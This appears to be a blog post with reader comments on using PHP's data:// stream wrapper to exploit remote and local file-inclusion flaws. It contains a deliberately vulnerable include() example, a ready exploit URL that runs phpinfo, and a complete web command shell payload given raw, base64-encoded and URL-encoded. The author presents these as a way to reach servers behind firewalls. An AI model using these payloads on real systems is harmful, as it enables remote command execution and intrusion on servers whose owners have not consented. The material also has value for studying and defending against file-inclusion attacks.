PHP 5.2 and above provides stream wrappers. The general idea behind the stream wrapper is that you write one that interfaces with other protocols or services and you can still reference the data using your favourite functions. Here we open an ssh2 tunnel using a stream wrapper:
$session = ssh2_connect('example.com', 22);
$stream = fopen("ssh2.tunnel://$session/remote.example.com:1234", 'r');
Another example using the built in data:// stream which decodes base64 strings.
echo file_get_contents('data://text/plain;base64,SSBsb3ZlIFBIUAo=');
Streams can be used with functions such as file_get_contents, fopen, include and require etc. and this is where the danger of Remote and Local file inclusion occur.
Before PHP 5.2 when an attacker found a local or remote file inclusion vulnerability he needed to either work out a way to upload PHP code to the server (e.g. via /proc/self/environ) or have another server that he could point the vulnerable script at. Sometimes the server with the vulnerability might be behind a firewall restricting outbound access to the Internet and at other times it might not be possible to write any data to a suitable location on the local file system for inclusion.
Since PHP 5.2 if allow_url_include is enabled we can use the data stream (rather than a remote file) to include executable PHP code. Consider the following example of a vulnerable PHP script:
<? include($_GET['file'] . ".php");
By encoding a PHP script in base64 and then URL encoding any special characters contained within this string we can successfully execute a script. Below we show how phpinfo can be executed using the above script to enumerate more information about the target environment.
<? phpinfo(); die();?>
// Base64 Encoded PD8gcGhwaW5mbygpOyBkaWUoKTs/Pg== // URL + Base64 Encoded PD8gcGhwaW5mbygpOyBkaWUoKTs%2fPg== // Final URL index.php?file=data://text/plain;base64,PD8gcGhwaW5mbygpOyBkaWUoKTs%2fPg==
The die statement is there to prevent the execution of the rest of the script or the execution of of the incorrectly decoded “.php” string which is appended to the stream – both of which could cause a WSOD – Displaying phpinfo is fairly basic – you can go a step further and execute shell commands. The following code is a complete GUI command shell.
PHP payload
<form action="<?=$_SERVER['REQUEST_URI']?>" method="POST"><input type="text" name="x" value="<?=htmlentities($_POST['x'])?>"><input type="submit" value="cmd"></form><pre><? echo `{$_POST['x']}`; ?></pre><? die(); ?>
Base64 encoded payload
PGZvcm0gYWN0aW9uPSI8Pz0kX1NFUlZFUlsnUkVRVUVTVF9VUkkn XT8+IiBtZXRob2Q9IlBPU1QiPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lP SJ4IiB2YWx1ZT0iPD89aHRtbGVudGl0aWVzKCRfUE9TVFsneCddKT8 +Ij48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iY21kIj48L2Zvcm 0+PHByZT48PyAKZWNobyBgeyRfUE9TVFsneCddfWA7ID8+PC9wc mU+PD8gZGllKCk7ID8+Cgo=
Base64 + URL encoded payload
PGZvcm0gYWN0aW9uPSI8Pz0kX1NFUlZFUlsnUkVRVUVTVF9VUkk nXT8%2BIiBtZXRob2Q9IlBPU1QiPjxpbnB1dCB0eXBlPSJ0ZXh0IiBu YW1lPSJ4IiB2YWx1ZT0iPD89aHRtbGVudGl0aWVzKCRfUE9TVFsne CddKT8%2BIj48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iY21k Ij48L2Zvcm0%2BPHByZT48PyAKZWNobyBgeyRfUE9TVFsneCddf WA7ID8%2BPC9wcmU%2BPD8gZGllKCk7ID8%2BCgo%3D
Using a data stream over a standard remote or local file inclusion has several benefits:
- It works behind a firewall that blocks outbound traffic.
- It has a lower latency as the vulnerable script is not including a remote file.
- Its doesn’t require a null-byte to be appended to the end of the script.
- It doesn’t require a remote server.
All in all, its a more elegant solution to remote or local file inclusion.

Nice information! However, you have a mistake in this post. You exploit doesn’t work on your example with <? include($_GET['file'] . ".php"); because it needs allow_url_include On. allow_url_fopen is applicable to function like fopen, file_get_contents and so on.
allow_url_include is applicable to include/require, … Therefore, allow_url_include needs to be on for this exploit to work. And by default is Off, for good reasons.
Thanks for the picking up the mistake! Yeah, the exploit does need allow_url_include on (i’ve now altered the post), I should have made it clearer but this is really intended for situations where the server you are attacking has been mis-configured and is sitting behind either a proxy, firewall or load balancer which is preventing you from using the classic and somewhat more straight forward remote file inclusion technique.
Unfortunately LFIs usually start with some payload, e.g include “crap”.$_GET[1];
Yeah, however it is handy in a limited set of circumstances where you have an RFI and the server has egress filtering preventing the server from accessing your remote payload.